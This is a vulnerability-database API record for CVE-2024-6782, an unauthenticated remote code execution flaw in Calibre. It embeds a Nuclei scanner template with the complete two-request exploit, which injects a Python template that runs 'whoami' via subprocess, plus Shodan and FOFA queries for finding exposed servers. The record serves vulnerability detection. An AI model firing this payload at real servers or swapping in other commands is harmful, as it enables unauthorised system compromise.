{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-6782/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-6782/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-6782/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-6782/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-6782/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-6782/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-6782"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2024-6782"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-6782.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-6782\n\ninfo:\n  name: Calibre <= 7.14.0 Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.\n  impact: |\n    Unauthenticated attackers can execute arbitrary Python code through the content server's template functionality, achieving complete system compromise.\n  remediation: |\n    Update Calibre to version 7.15.0 or later to address the remote code execution vulnerability.\n  reference:\n    - https://starlabs.sg/advisories/24/24-6781/\n  classification:\n    cve-id: CVE-2024-6782\n    cwe-id: CWE-863\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    epss-score: 0.84116\n    epss-percentile: 0.99696\n    cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: calibre-ebook\n    product: calibre\n    shodan-query: html:\"Calibre\"\n    fofa-query: \"Server: calibre\"\n    max-request: 2\n  tags: cve,cve2024,calibre,rce,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /interface-data/books-init HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}\n\n    extractors:\n      - type: json\n        name: book_ids\n        internal: true\n        json:\n          - '.search_result.book_ids[0]'\n\n  - raw:\n      - |\n        POST /cdb/cmd/list HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        [\n            [\"template\"],\n            \"\",\n            \"\",\n            \"\",\n            {{book_ids}},\n           \"python:def evaluate(a, b):\\n  import subprocess\\n  try:\\n    return subprocess.check_output(['cmd.exe', '/c', 'whoami'])\\n  except Exception:\\n    return subprocess.check_output(['sh', '-c', 'whoami'])\\n\"\n        ]\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"b'([^']+)\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221008ae2a770991dcba173822d99cafc599636cde184c3b4f5545115da78f772510002201bf363df9e57c06a51ce9a8869cc11943394f59d6591af06af4bc73da792f00a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-6782"
}